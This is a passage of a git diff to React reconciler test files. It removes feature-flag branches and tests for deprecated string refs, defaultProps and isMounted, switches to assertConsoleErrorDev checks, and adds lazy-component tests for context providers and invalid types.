     ReactNoop = require('react-noop-renderer');
 
     const InternalTestUtils = require('internal-test-utils');
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
     waitForAll = InternalTestUtils.waitForAll;
     waitForThrow = InternalTestUtils.waitForThrow;
   });
@@ -50,5 +52,9 @@ describe('ReactIncrementalErrorReplay', () => {
     }
     ReactNoop.render(<App />);
     await waitForAll([]);
+    assertConsoleErrorDev([
+      'Error: There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.' +
+        '\n    in <stack>',
+    ]);
   });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactIncrementalReflection-test.js b/packages/react-reconciler/src/__tests__/ReactIncrementalReflection-test.js
index cffd690e6471..63ff106bf843 100644
--- a/packages/react-reconciler/src/__tests__/ReactIncrementalReflection-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactIncrementalReflection-test.js
@@ -40,94 +40,6 @@ describe('ReactIncrementalReflection', () => {
     return {type: 'span', children: [], prop, hidden: false};
   }
 
-  it('handles isMounted even when the initial render is deferred', async () => {
-    const instances = [];
-
-    class Component extends React.Component {
-      _isMounted() {
-        // No longer a public API, but we can test that it works internally by
-        // reaching into the updater.
-        return this.updater.isMounted(this);
-      }
-      UNSAFE_componentWillMount() {
-        instances.push(this);
-        Scheduler.log('componentWillMount: ' + this._isMounted());
-      }
-      componentDidMount() {
-        Scheduler.log('componentDidMount: ' + this._isMounted());
-      }
-      render() {
-        return <span />;
-      }
-    }
-
-    function Foo() {
-      return <Component />;
-    }
-
-    React.startTransition(() => {
-      ReactNoop.render(<Foo />);
-    });
-
-    // Render part way through but don't yet commit the updates.
-    await waitFor(['componentWillMount: false']);
-
-    expect(instances[0]._isMounted()).toBe(false);
-
-    // Render the rest and commit the updates.
-    await waitForAll(['componentDidMount: true']);
-
-    expect(instances[0]._isMounted()).toBe(true);
-  });
-
-  it('handles isMounted when an unmount is deferred', async () => {
-    const instances = [];
-
-    class Component extends React.Component {
-      _isMounted() {
-        return this.updater.isMounted(this);
-      }
-      UNSAFE_componentWillMount() {
-        instances.push(this);
-      }
-      componentWillUnmount() {
-        Scheduler.log('componentWillUnmount: ' + this._isMounted());
-      }
-      render() {
-        Scheduler.log('Component');
-        return <span />;
-      }
-    }
-
-    function Other() {
-      Scheduler.log('Other');
-      return <span />;
-    }
-
-    function Foo(props) {
-      return props.mount ? <Component /> : <Other />;
-    }
-
-    ReactNoop.render(<Foo mount={true} />);
-    await waitForAll(['Component']);
-
-    expect(instances[0]._isMounted()).toBe(true);
-
-    React.startTransition(() => {
-      ReactNoop.render(<Foo mount={false} />);
-    });
-    // Render part way through but don't yet commit the updates so it is not
-    // fully unmounted yet.
-    await waitFor(['Other']);
-
-    expect(instances[0]._isMounted()).toBe(true);
-
-    // Finish flushing the unmount.
-    await waitForAll(['componentWillUnmount: true']);
-
-    expect(instances[0]._isMounted()).toBe(false);
-  });
-
   it('finds no node before insertion and correct node before deletion', async () => {
     let classInstance = null;
 
diff --git a/packages/react-reconciler/src/__tests__/ReactIncrementalSideEffects-test.js b/packages/react-reconciler/src/__tests__/ReactIncrementalSideEffects-test.js
index 73600d941930..c4473c1774e9 100644
--- a/packages/react-reconciler/src/__tests__/ReactIncrementalSideEffects-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactIncrementalSideEffects-test.js
@@ -88,8 +88,8 @@ describe('ReactIncrementalSideEffects', () => {
           {props.text === 'World'
             ? [<Bar key="a" text={props.text} />, <div key="b" />]
             : props.text === 'Hi'
-            ? [<div key="b" />, <Bar key="a" text={props.text} />]
-            : null}
+              ? [<div key="b" />, <Bar key="a" text={props.text} />]
+              : null}
           <span prop="test" />
         </div>
       );
@@ -1299,20 +1299,7 @@ describe('ReactIncrementalSideEffects', () => {
 
     ReactNoop.render(<Foo show={true} />);
 
-    if (gate(flags => flags.enableRefAsProp)) {
-      await waitForAll([]);
-    } else {
-      await expect(async () => await waitForAll([])).toErrorDev(
-        'Function components cannot be given refs. ' +
-          'Attempts to access this ref will fail. ' +
-          'Did you mean to use React.forwardRef()?\n\n' +
-          'Check the render method ' +
-          'of `Foo`.\n' +
-          '    in FunctionComponent (at **)\n' +
-          '    in div (at **)\n' +
-          '    in Foo (at **)',
-      );
-    }
+    await waitForAll([]);
 
     expect(ops).toEqual([
       classInstance,
@@ -1347,38 +1334,4 @@ describe('ReactIncrementalSideEffects', () => {
 
   // TODO: Test that mounts, updates, refs, unmounts and deletions happen in the
   // expected way for aborted and resumed render life-cycles.
-
-  // @gate !disableStringRefs
-  it('supports string refs', async () => {
-    let fooInstance = null;
-
-    class Bar extends React.Component {
-      componentDidMount() {
-        this.test = 'test';
-      }
-      render() {
-        return <div />;
-      }
-    }
-
-    class Foo extends React.Component {
-      render() {
-        fooInstance = this;
-        return <Bar ref="bar" />;
-      }
-    }
-
-    ReactNoop.render(<Foo />);
-    await expect(async () => {
-      await waitForAll([]);
-    }).toErrorDev([
-      'Component "Foo" contains the string ref "bar". ' +
-        'Support for string refs will be removed in a future major release. ' +
-        'We recommend using useRef() or createRef() instead. ' +
-        'Learn more about using refs safely here: https://react.dev/link/strict-mode-string-ref\n' +
-        '    in Bar (at **)\n' +
-        '    in Foo (at **)',
-    ]);
-    expect(fooInstance.refs.bar.test).toEqual('test');
-  });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactIncrementalUpdates-test.js b/packages/react-reconciler/src/__tests__/ReactIncrementalUpdates-test.js
index f3d5cbc675c5..b7a2d6b661f0 100644
--- a/packages/react-reconciler/src/__tests__/ReactIncrementalUpdates-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactIncrementalUpdates-test.js
@@ -18,6 +18,7 @@ let act;
 let waitForAll;
 let waitFor;
 let assertLog;
+let assertConsoleErrorDev;
 
 describe('ReactIncrementalUpdates', () => {
   beforeEach(() => {
@@ -34,6 +35,7 @@ describe('ReactIncrementalUpdates', () => {
     waitForAll = InternalTestUtils.waitForAll;
     waitFor = InternalTestUtils.waitFor;
     assertLog = InternalTestUtils.assertLog;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
   });
 
   function Text({text}) {
@@ -156,23 +158,11 @@ describe('ReactIncrementalUpdates', () => {
     }
 
     // Schedule some async updates
-    if (
-      gate(
-        flags =>
-          !flags.forceConcurrentByDefaultForTesting ||
-          flags.enableUnifiedSyncLane,
-      )
-    ) {
-      React.startTransition(() => {
-        instance.setState(createUpdate('a'));
-        instance.setState(createUpdate('b'));
-        instance.setState(createUpdate('c'));
-      });
-    } else {
+    React.startTransition(() => {
       instance.setState(createUpdate('a'));
       instance.setState(createUpdate('b'));
       instance.setState(createUpdate('c'));
-    }
+    });
 
     // Begin the updates but don't flush them yet
     await waitFor(['a', 'b', 'c']);
@@ -189,58 +179,22 @@ describe('ReactIncrementalUpdates', () => {
     });
 
     // The sync updates should have flushed, but not the async ones.
-    if (
-      gate(
-        flags =>
-          !flags.forceConcurrentByDefaultForTesting &&
-          flags.enableUnifiedSyncLane,
-      )
-    ) {
-      assertLog(['d', 'e', 'f']);
-      expect(ReactNoop).toMatchRenderedOutput(<span prop="def" />);
-    } else {
-      // Update d was dropped and replaced by e.
-      assertLog(['e', 'f']);
-      expect(ReactNoop).toMatchRenderedOutput(<span prop="ef" />);
-    }
+    assertLog(['d', 'e', 'f']);
+    expect(ReactNoop).toMatchRenderedOutput(<span prop="def" />);
 
     // Now flush the remaining work. Even though e and f were already processed,
     // they should be processed again, to ensure that the terminal state
     // is deterministic.
-    if (
-      gate(
-        flags =>
-          !flags.forceConcurrentByDefaultForTesting &&
-          !flags.enableUnifiedSyncLane,
-      )
-    ) {
-      await waitForAll([
-        // Since 'g' is in a transition, we'll process 'd' separately first.
-        // That causes us to process 'd' with 'e' and 'f' rebased.
-        'd',
-        'e',
-        'f',
-        // Then we'll re-process everything for 'g'.
-        'a',
-        'b',
-        'c',
-        'd',
-        'e',
-        'f',
-        'g',
-      ]);
-    } else {
-      await waitForAll([
-        // Then we'll re-process everything for 'g'.
-        'a',
-        'b',
-        'c',
-        'd',
-        'e',
-        'f',
-        'g',
-      ]);
-    }
+    await waitForAll([
+      // Then we'll re-process everything for 'g'.
+      'a',
+      'b',
+      'c',
+      'd',
+      'e',
+      'f',
+      'g',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput(<span prop="abcdefg" />);
   });
 
@@ -267,23 +221,11 @@ describe('ReactIncrementalUpdates', () => {
     }
 
     // Schedule some async updates
-    if (
-      gate(
-        flags =>
-          !flags.forceConcurrentByDefaultForTesting ||
-          flags.enableUnifiedSyncLane,
-      )
-    ) {
-      React.startTransition(() => {
-        instance.setState(createUpdate('a'));
-        instance.setState(createUpdate('b'));
-        instance.setState(createUpdate('c'));
-      });
-    } else {
+    React.startTransition(() => {
       instance.setState(createUpdate('a'));
       instance.setState(createUpdate('b'));
       instance.setState(createUpdate('c'));
-    }
+    });
 
     // Begin the updates but don't flush them yet
     await waitFor(['a', 'b', 'c']);
@@ -303,57 +245,22 @@ describe('ReactIncrementalUpdates', () => {
     });
 
     // The sync updates should have flushed, but not the async ones.
-    if (
-      gate(
-        flags =>
-          !flags.forceConcurrentByDefaultForTesting &&
-          flags.enableUnifiedSyncLane,
-      )
-    ) {
-      assertLog(['d', 'e', 'f']);
-    } else {
-      // Update d was dropped and replaced by e.
-      assertLog(['e', 'f']);
-    }
+    assertLog(['d', 'e', 'f']);
     expect(ReactNoop).toMatchRenderedOutput(<span prop="f" />);
 
     // Now flush the remaining work. Even though e and f were already processed,
     // they should be processed again, to ensure that the terminal state
     // is deterministic.
-    if (
-      gate(
-        flags =>
-          !flags.forceConcurrentByDefaultForTesting &&
-          !flags.enableUnifiedSyncLane,
-      )
-    ) {
-      await waitForAll([
-        // Since 'g' is in a transition, we'll process 'd' separately first.
-        // That causes us to process 'd' with 'e' and 'f' rebased.
-        'd',
-        'e',
-        'f',
-        // Then we'll re-process everything for 'g'.
-        'a',
-        'b',
-        'c',
-        'd',
-        'e',
-        'f',
-        'g',
-      ]);
-    } else {
-      await waitForAll([
-        // Then we'll re-process everything for 'g'.
-        'a',
-        'b',
-        'c',
-        'd',
-        'e',
-        'f',
-        'g',
-      ]);
-    }
+    await waitForAll([
+      // Then we'll re-process everything for 'g'.
+      'a',
+      'b',
+      'c',
+      'd',
+      'e',
+      'f',
+      'g',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput(<span prop="fg" />);
   });
 
@@ -461,20 +368,21 @@ describe('ReactIncrementalUpdates', () => {
       return {a: 'a'};
     });
 
-    await expect(
-      async () =>
-        await waitForAll([
-          'setState updater',
-          // Updates in the render phase receive the currently rendering
-          // lane, so the update flushes immediately in the same render.
-          'render',
-        ]),
-    ).toErrorDev(
+    await waitForAll([
+      'setState updater',
+      // Updates in the render phase receive the currently rendering
+      // lane, so the update flushes immediately in the same render.
+      'render',
+    ]);
+    assertConsoleErrorDev([
       'An update (setState, replaceState, or forceUpdate) was scheduled ' +
         'from inside an update function. Update functions should be pure, ' +
         'with zero side-effects. Consider using componentDidUpdate or a ' +
-        'callback.\n\nPlease update the following component: Foo',
-    );
+        'callback.\n' +
+        '\n' +
+        'Please update the following component: Foo\n' +
+        '    in Foo (at **)',
+    ]);
     expect(instance.state).toEqual({a: 'a', b: 'b'});
 
     // Test deduplication (no additional warnings expected)
@@ -684,25 +592,7 @@ describe('ReactIncrementalUpdates', () => {
         pushToLog('B'),
       );
     });
-    if (gate(flags => flags.enableUnifiedSyncLane)) {
-      assertLog(['Committed: B', 'Committed: BCD', 'Committed: ABCD']);
-    } else {
-      assertLog([
-        // A and B are pending. B is higher priority, so we'll render that first.
-        'Committed: B',
-        // Because A comes first in the queue, we're now in rebase mode. B must
-        // be rebased on top of A. Also, in a layout effect, we received two new
-        // updates: C and D. C is user-blocking and D is synchronous.
-        //
-        // First render the synchronous update. What we're testing here is that
-        // B *is not dropped* even though it has lower than sync priority. That's
-        // because we already committed it. However, this render should not
-        // include C, because that update wasn't already committed.
-        'Committed: BD',
-        'Committed: BCD',
-        'Committed: ABCD',
-      ]);
-    }
+    assertLog(['Committed: B', 'Committed: BCD', 'Committed: ABCD']);
     expect(root).toMatchRenderedOutput('ABCD');
   });
 
@@ -744,25 +634,7 @@ describe('ReactIncrementalUpdates', () => {
         pushToLog('B'),
       );
     });
-    if (gate(flags => flags.enableUnifiedSyncLane)) {
-      assertLog(['Committed: B', 'Committed: BCD', 'Committed: ABCD']);
-    } else {
-      assertLog([
-        // A and B are pending. B is higher priority, so we'll render that first.
-        'Committed: B',
-        // Because A comes first in the queue, we're now in rebase mode. B must
-        // be rebased on top of A. Also, in a layout effect, we received two new
-        // updates: C and D. C is user-blocking and D is synchronous.
-        //
-        // First render the synchronous update. What we're testing here is that
-        // B *is not dropped* even though it has lower than sync priority. That's
-        // because we already committed it. However, this render should not
-        // include C, because that update wasn't already committed.
-        'Committed: BD',
-        'Committed: BCD',
-        'Committed: ABCD',
-      ]);
-    }
+    assertLog(['Committed: B', 'Committed: BCD', 'Committed: ABCD']);
     expect(root).toMatchRenderedOutput('ABCD');
   });
 
diff --git a/packages/react-reconciler/src/__tests__/ReactInterleavedUpdates-test.js b/packages/react-reconciler/src/__tests__/ReactInterleavedUpdates-test.js
index e8b40f63ab7a..f40004b9eaf3 100644
--- a/packages/react-reconciler/src/__tests__/ReactInterleavedUpdates-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactInterleavedUpdates-test.js
@@ -86,61 +86,6 @@ describe('ReactInterleavedUpdates', () => {
     expect(root).toMatchRenderedOutput('222');
   });
 
-  // @gate forceConcurrentByDefaultForTesting
-  it('low priority update during an interleaved event is not processed during the current render', async () => {
-    // Same as previous test, but the interleaved update is lower priority than
-    // the in-progress render.
-    const updaters = [];
-
-    function Child() {
-      const [state, setState] = useState(0);
-      useEffect(() => {
-        updaters.push(setState);
-      }, []);
-      return <Text text={state} />;
-    }
-
-    function updateChildren(value) {
-      for (let i = 0; i < updaters.length; i++) {
-        const setState = updaters[i];
-        setState(value);
-      }
-    }
-
-    const root = ReactNoop.createRoot();
-
-    await act(async () => {
-      root.render(
-        <>
-          <Child />
-          <Child />
-          <Child />
-        </>,
-      );
-    });
-    assertLog([0, 0, 0]);
-    expect(root).toMatchRenderedOutput('000');
-
-    await act(async () => {
-      updateChildren(1);
-      // Partially render the children. Only the first one.
-      await waitFor([1]);
-
-      // In an interleaved event, schedule an update on each of the children.
-      // Including the two that haven't rendered yet.
-      startTransition(() => {
-        updateChildren(2);
-      });
-
-      // We should continue rendering without including the interleaved updates.
-      await waitForPaint([1, 1]);
-      expect(root).toMatchRenderedOutput('111');
-    });
-    // The interleaved updates flush in a separate render.
-    assertLog([2, 2, 2]);
-    expect(root).toMatchRenderedOutput('222');
-  });
-
   it('regression for #24350: does not add to main update queue until interleaved update queue has been cleared', async () => {
     let setStep;
     function App() {
diff --git a/packages/react-reconciler/src/__tests__/ReactIsomorphicAct-test.js b/packages/react-reconciler/src/__tests__/ReactIsomorphicAct-test.js
index eeec3b2b7eb3..874969b131ea 100644
--- a/packages/react-reconciler/src/__tests__/ReactIsomorphicAct-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactIsomorphicAct-test.js
@@ -50,6 +50,18 @@ describe('isomorphic act()', () => {
     return text;
   }
 
+  it('behavior in production', () => {
+    if (!__DEV__) {
+      if (gate('fb')) {
+        expect(() => act(() => {})).toThrow(
+          'act(...) is not supported in production builds of React',
+        );
+      } else {
+        expect(React).not.toHaveProperty('act');
+      }
+    }
+  });
+
   // @gate __DEV__
   it('bypasses queueMicrotask', async () => {
     const root = ReactNoop.createRoot();
diff --git a/packages/react-reconciler/src/__tests__/ReactLazy-test.internal.js b/packages/react-reconciler/src/__tests__/ReactLazy-test.internal.js
index d4eeb4f13f0a..0cb58d84a7ee 100644
--- a/packages/react-reconciler/src/__tests__/ReactLazy-test.internal.js
+++ b/packages/react-reconciler/src/__tests__/ReactLazy-test.internal.js
@@ -116,6 +116,44 @@ describe('ReactLazy', () => {
     expect(root).toMatchRenderedOutput('Hi again');
   });
 
+  it('renders a lazy context provider', async () => {
+    const Context = React.createContext('default');
+    function ConsumerText() {
+      return <Text text={React.useContext(Context)} />;
+    }
+    // Context.Provider === Context, so we can lazy-load the context itself
+    const LazyProvider = lazy(() => fakeImport(Context));
+
+    const root = ReactTestRenderer.create(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <LazyProvider value="Hi">
+          <ConsumerText />
+        </LazyProvider>
+      </Suspense>,
+      {
+        unstable_isConcurrent: true,
+      },
+    );
+
+    await waitForAll(['Loading...']);
+    expect(root).not.toMatchRenderedOutput('Hi');
+
+    await act(() => resolveFakeImport(Context));
+    assertLog(['Hi']);
+    expect(root).toMatchRenderedOutput('Hi');
+
+    // Should not suspend on update
+    root.update(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <LazyProvider value="Hi again">
+          <ConsumerText />
+        </LazyProvider>
+      </Suspense>,
+    );
+    await waitForAll(['Hi again']);
+    expect(root).toMatchRenderedOutput('Hi again');
+  });
+
   it('can resolve synchronously without suspending', async () => {
     const LazyText = lazy(() => ({
       then(cb) {
@@ -213,14 +251,18 @@ describe('ReactLazy', () => {
       unstable_isConcurrent: true,
     });
 
+    function App() {
+      return (
+        <Suspense fallback={<Text text="Loading..." />}>
+          <LazyText text="Hi" />
+        </Suspense>
+      );
+    }
+
     let error;
     try {
       await act(() => {
-        root.update(
-          <Suspense fallback={<Text text="Loading..." />}>
-            <LazyText text="Hi" />
-          </Suspense>,
-        );
+        root.update(<App />);
       });
     } catch (e) {
       error = e;
@@ -229,8 +271,22 @@ describe('ReactLazy', () => {
     expect(error.message).toMatch('Element type is invalid');
     assertLog(['Loading...']);
     assertConsoleErrorDev([
-      'Expected the result of a dynamic import() call',
-      'Expected the result of a dynamic import() call',
+      'lazy: Expected the result of a dynamic import() call. ' +
+        'Instead received: function Text(props) {\n' +
+        '    Scheduler.log(props.text);\n' +
+        '    return props.text;\n' +
+        '  }\n\n' +
+        'Your code should look like: \n  ' +
+        "const MyComponent = lazy(() => import('./MyComponent'))\n" +
+        '    in App (at **)',
+      'lazy: Expected the result of a dynamic import() call. ' +
+        'Instead received: function Text(props) {\n' +
+        '    Scheduler.log(props.text);\n' +
+        '    return props.text;\n' +
+        '  }\n\n' +
+        'Your code should look like: \n  ' +
+        "const MyComponent = lazy(() => import('./MyComponent'))\n" +
+        '    in App (at **)',
     ]);
     expect(root).not.toMatchRenderedOutput('Hi');
   });
@@ -305,7 +361,12 @@ describe('ReactLazy', () => {
       unstable_isConcurrent: true,
     });
 
-    await waitForAll(['Suspend! [LazyChildA]', 'Loading...']);
+    await waitForAll([
+      'Suspend! [LazyChildA]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [LazyChildB]',
+    ]);
     expect(root).not.toMatchRenderedOutput('AB');
 
     await act(async () => {
@@ -314,9 +375,14 @@ describe('ReactLazy', () => {
       // B suspends even though it happens to share the same import as A.
       // TODO: React.lazy should implement the `status` and `value` fields, so
       // we can unwrap the result synchronously if it already loaded. Like `use`.
-      await waitFor(['A', 'Suspend! [LazyChildB]']);
+      await waitFor([
+        'A',
+        // pre-warming: LazyChildB was already initialized. So it also already resolved
+        // when we called resolveFakeImport above. So it doesn't suspend again.
+        'B',
+      ]);
     });
-    assertLog(['A', 'B', 'Did mount: A', 'Did mount: B']);
+    assertLog(['Did mount: A', 'Did mount: B']);
     expect(root).toMatchRenderedOutput('AB');
 
     // Swap the position of A and B
@@ -670,26 +736,12 @@ describe('ReactLazy', () => {
     expect(root).toMatchRenderedOutput('A3');
   });
 
-  // @gate !disableDefaultPropsExceptForClasses
-  it('resolves defaultProps on the outer wrapper but warns', async () => {
-    function T(props) {
-      Scheduler.log(props.inner + ' ' + props.outer);
-      return props.inner + ' ' + props.outer;
-    }
-    T.defaultProps = {inner: 'Hi'};
-    const LazyText = lazy(() => fakeImport(T));
-    expect(() => {
-      LazyText.defaultProps = {outer: 'Bye'};
-    }).toErrorDev(
-      'It is not supported to assign `defaultProps` to ' +
-        'a lazy component import. Either specify them where the component ' +
-        'is defined, or create a wrapping component around it.',
-      {withoutStack: true},
-    );
+  it('throws with a useful error when wrapping invalid type with lazy()', async () => {
+    const BadLazy = lazy(() => fakeImport(42));
 
     const root = ReactTestRenderer.create(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyText />
+        <BadLazy />
       </Suspense>,
       {
         unstable_isConcurrent: true,
@@ -697,38 +749,21 @@ describe('ReactLazy', () => {
     );
 
     await waitForAll(['Loading...']);
-    expect(root).not.toMatchRenderedOutput('Hi Bye');
-
-    await expect(async () => {
-      await act(() => resolveFakeImport(T));
-      assertLog(['Hi Bye']);
-    }).toErrorDev(
-      'T: Support for defaultProps ' +
-        'will be removed from function components in a future major ' +
-        'release. Use JavaScript default parameters instead.',
-    );
-
-    expect(root).toMatchRenderedOutput('Hi Bye');
 
+    await resolveFakeImport(42);
     root.update(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyText outer="World" />
+        <BadLazy />
       </Suspense>,
     );
-    await waitForAll(['Hi World']);
-    expect(root).toMatchRenderedOutput('Hi World');
-
-    root.update(
-      <Suspense fallback={<Text text="Loading..." />}>
-        <LazyText inner="Friends" />
-      </Suspense>,
+    await waitForThrow(
+      'Element type is invalid. Received a promise that resolves to: 42. ' +
+        'Lazy element type must resolve to a class or function.',
     );
-    await waitForAll(['Friends Bye']);
-    expect(root).toMatchRenderedOutput('Friends Bye');
   });
 
-  it('throws with a useful error when wrapping invalid type with lazy()', async () => {
-    const BadLazy = lazy(() => fakeImport(42));
+  it('throws with a useful error when wrapping Fragment with lazy()', async () => {
+    const BadLazy = lazy(() => fakeImport(React.Fragment));
 
     const root = ReactTestRenderer.create(
       <Suspense fallback={<Text text="Loading..." />}>
@@ -741,25 +776,28 @@ describe('ReactLazy', () => {
 
     await waitForAll(['Loading...']);
 
-    await resolveFakeImport(42);
+    await resolveFakeImport(React.Fragment);
     root.update(
       <Suspense fallback={<Text text="Loading..." />}>
         <BadLazy />
       </Suspense>,
     );
     await waitForThrow(
-      'Element type is invalid. Received a promise that resolves to: 42. ' +
+      'Element type is invalid. Received a promise that resolves to: Fragment. ' +
         'Lazy element type must resolve to a class or function.',
     );
   });
 
-  it('throws with a useful error when wrapping lazy() multiple times', async () => {
-    const Lazy1 = lazy(() => fakeImport(Text));
-    const Lazy2 = lazy(() => fakeImport(Lazy1));
+  // @gate !fb
+  it('throws with a useful error when wrapping createPortal with lazy()', async () => {
+    const ReactDOM = require('react-dom');
+    const container = document.createElement('div');
+    const portal = ReactDOM.createPortal(<div />, container);
+    const BadLazy = lazy(() => fakeImport(portal));
 
     const root = ReactTestRenderer.create(
       <Suspense fallback={<Text text="Loading..." />}>
-        <Lazy2 text="Hello" />
+        <BadLazy />
       </Suspense>,
       {
         unstable_isConcurrent: true,
@@ -767,32 +805,25 @@ describe('ReactLazy', () => {
     );
 
     await waitForAll(['Loading...']);
-    expect(root).not.toMatchRenderedOutput('Hello');
 
-    await resolveFakeImport(Lazy1);
+    await resolveFakeImport(portal);
     root.update(
       <Suspense fallback={<Text text="Loading..." />}>
-        <Lazy2 text="Hello" />
+        <BadLazy />
       </Suspense>,
     );
     await waitForThrow(
-      'Element type is invalid. Received a promise that resolves to: [object Object]. ' +
-        'Lazy element type must resolve to a class or function.' +
-        (__DEV__
-          ? ' Did you wrap a component in React.lazy() more than once?'
-          : ''),
+      'Element type is invalid. Received a promise that resolves to: Portal. ' +
+        'Lazy element type must resolve to a class or function.',
     );
   });
 
-  async function verifyResolvesProps(
-    Add,
-    shouldWarnAboutFunctionDefaultProps,
-    shouldWarnAboutMemoDefaultProps,
-  ) {
-    const LazyAdd = lazy(() => fakeImport(Add));
+  it('throws with a useful error when wrapping Profiler with lazy()', async () => {
+    const BadLazy = lazy(() => fakeImport(React.Profiler));
+
     const root = ReactTestRenderer.create(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyAdd inner="2" outer="2" />
+        <BadLazy />
       </Suspense>,
       {
         unstable_isConcurrent: true,
@@ -800,151 +831,25 @@ describe('ReactLazy', () => {
     );
 
     await waitForAll(['Loading...']);
-    expect(root).not.toMatchRenderedOutput('22');
-
-    // Mount
-    await expect(async () => {
-      await act(() => resolveFakeImport(Add));
-    }).toErrorDev(
-      shouldWarnAboutFunctionDefaultProps
-        ? [
-            'Add: Support for defaultProps will be removed from function components in a future major release. Use JavaScript default parameters instead.',
-          ]
-        : shouldWarnAboutMemoDefaultProps
-        ? [
-            'Add: Support for defaultProps will be removed from memo components in a future major release. Use JavaScript default parameters instead.',
-          ]
-        : [],
-    );
-    expect(root).toMatchRenderedOutput('22');
 
-    // Update
+    await resolveFakeImport(React.Profiler);
     root.update(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyAdd inner={false} outer={false} />
+        <BadLazy />
       </Suspense>,
     );
-    await waitForAll([]);
-    expect(root).toMatchRenderedOutput('0');
-  }
-
-  // @gate !disableDefaultPropsExceptForClasses
-  it('resolves props for function component with defaultProps', async () => {
-    function Add(props) {
-      expect(props.innerWithDefault).toBe(42);
-      return props.inner + props.outer;
-    }
-    Add.defaultProps = {
-      innerWithDefault: 42,
-    };
-    await verifyResolvesProps(Add, true);
-  });
-
-  it('resolves props for function component without defaultProps', async () => {
-    function Add(props) {
-      return props.inner + props.outer;
-    }
-    await verifyResolvesProps(Add);
-  });
-
-  it('resolves props for class component with defaultProps', async () => {
-    class Add extends React.Component {
-      render() {
-        expect(this.props.innerWithDefault).toBe(42);
-        return this.props.inner + this.props.outer;
-      }
-    }
-    Add.defaultProps = {
-      innerWithDefault: 42,
-    };
-    await verifyResolvesProps(Add);
-  });
-
-  it('resolves props for class component without defaultProps', async () => {
-    class Add extends React.Component {
-      render() {
-        return this.props.inner + this.props.outer;
-      }
-    }
-    await verifyResolvesProps(Add);
-  });
-
-  // @gate !disableDefaultPropsExceptForClasses
-  it('resolves props for forwardRef component with defaultProps', async () => {
-    const Add = React.forwardRef((props, ref) => {
-      expect(props.innerWithDefault).toBe(42);
-      return props.inner + props.outer;
-    });
-    Add.displayName = 'Add';
-    Add.defaultProps = {
-      innerWithDefault: 42,
-    };
-    await verifyResolvesProps(Add);
-  });
-
-  it('resolves props for forwardRef component without defaultProps', async () => {
-    const Add = React.forwardRef((props, ref) => {
-      return props.inner + props.outer;
-    });
-    Add.displayName = 'Add';
-    await verifyResolvesProps(Add);
-  });
-
-  // @gate !disableDefaultPropsExceptForClasses
-  it('resolves props for outer memo component with defaultProps', async () => {
-    let Add = props => {
-      expect(props.innerWithDefault).toBe(42);
-      return props.inner + props.outer;
-    };
-    Add = React.memo(Add);
-    Add.defaultProps = {
-      innerWithDefault: 42,
-    };
-    await verifyResolvesProps(Add, false, true);
-  });
-
-  it('resolves props for outer memo component without defaultProps', async () => {
-    let Add = props => {
-      return props.inner + props.outer;
-    };
-    Add = React.memo(Add);
-    await verifyResolvesProps(Add);
-  });
-
-  // @gate !disableDefaultPropsExceptForClasses
-  it('resolves props for inner memo component with defaultProps', async () => {
-    const Add = props => {
-      expect(props.innerWithDefault).toBe(42);
-      return props.inner + props.outer;
-    };
-    Add.displayName = 'Add';
-    Add.defaultProps = {
-      innerWithDefault: 42,
-    };
-    await verifyResolvesProps(React.memo(Add), true);
+    await waitForThrow(
+      'Element type is invalid. Received a promise that resolves to: Profiler. ' +
+        'Lazy element type must resolve to a class or function.',
+    );
   });
 
-  it('resolves props for inner memo component without defaultProps', async () => {
-    const Add = props => {
-      return props.inner + props.outer;
-    };
-    Add.displayName = 'Add';
-    await verifyResolvesProps(React.memo(Add));
-  });
+  it('throws with a useful error when wrapping StrictMode with lazy()', async () => {
+    const BadLazy = lazy(() => fakeImport(React.StrictMode));
 
-  // @gate !disableDefaultPropsExceptForClasses
-  it('uses outer resolved props on memo', async () => {
-    let T = props => {
-      return <Text text={props.text} />;
-    };
-    T.defaultProps = {
-      text: 'Inner default text',
-    };
-    T = React.memo(T);
-    const LazyText = lazy(() => fakeImport(T));
     const root = ReactTestRenderer.create(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyText />
+        <BadLazy />
       </Suspense>,
       {
         unstable_isConcurrent: true,
@@ -952,85 +857,59 @@ describe('ReactLazy', () => {
     );
 
     await waitForAll(['Loading...']);
-    expect(root).not.toMatchRenderedOutput('Inner default text');
-
-    // Mount
-    await expect(async () => {
-      await act(() => resolveFakeImport(T));
-      assertLog(['Inner default text']);
-    }).toErrorDev([
-      'T: Support for defaultProps will be removed from function components in a future major release. Use JavaScript default parameters instead.',
-    ]);
-    expect(root).toMatchRenderedOutput('Inner default text');
 
-    // Update
+    await resolveFakeImport(React.StrictMode);
     root.update(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyText text={null} />
+        <BadLazy />
       </Suspense>,
     );
-    await waitForAll([null]);
-    expect(root).toMatchRenderedOutput(null);
+    await waitForThrow(
+      'Element type is invalid. Received a promise that resolves to: StrictMode. ' +
+        'Lazy element type must resolve to a class or function.',
+    );
   });
 
-  it('includes lazy-loaded component in warning stack', async () => {
-    const Foo = props => <div>{[<Text text="A" />, <Text text="B" />]}</div>;
-    const LazyFoo = lazy(() => {
-      Scheduler.log('Started loading');
-      return fakeImport(Foo);
-    });
+  it('throws with a useful error when wrapping Suspense with lazy()', async () => {
+    const BadLazy = lazy(() => fakeImport(React.Suspense));
 
     const root = ReactTestRenderer.create(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyFoo />
+        <BadLazy />
       </Suspense>,
       {
         unstable_isConcurrent: true,
       },
     );
 
-    await waitForAll(['Started loading', 'Loading...']);
